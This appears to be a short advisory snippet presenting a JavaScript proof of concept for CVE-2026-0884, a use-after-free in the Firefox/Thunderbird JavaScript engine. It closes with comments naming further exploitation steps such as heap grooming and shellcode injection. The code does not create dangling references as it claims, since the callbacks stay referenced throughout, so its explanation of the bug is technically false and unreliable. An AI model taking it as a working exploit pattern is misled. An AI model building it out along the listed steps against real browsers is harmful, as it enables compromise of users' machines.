CVE-2026-0884: Mozilla Firefox/Thunderbird JavaScript Engine Use-After-Free漏洞

// CVE-2026-0884 PoC - Use-After-Free in JavaScript Engine // This PoC demonstrates the UAF vulnerability pattern in JS Engine function triggerUAF() { // Create objects that will be subject to GC let objects = []; // Phase 1: Create and hold references to objects for (let i = 0; i < 100; i++) { objects.push({ callback: function() { return this.value; }, value: i, buffer: new ArrayBuffer(1024) }); } // Phase 2: Store references in a way that creates dangling pointers let danglingRefs = []; for (let obj of objects) { danglingRefs.push(obj.callback); } // Phase 3: Clear objects and trigger garbage collection objects = null; if (globalThis.gc) { globalThis.gc(); } // Phase 4: Access dangling references - triggers UAF for (let ref of danglingRefs) { try { // This access may use freed memory let result = ref.call({value: 0x41414141}); } catch (e) { console.log('UAF triggered: ' + e.message); } } return danglingRefs; } // Trigger the vulnerability try { triggerUAF(); } catch (e) { console.log('PoC executed, check for crash: ' + e); } // Note: This is a simplified PoC pattern. Actual exploitation requires: // - Precise heap grooming // - JIT compilation manipulation // - Memory layout spraying // - Shellcode injection via vtable/coroutine manipulation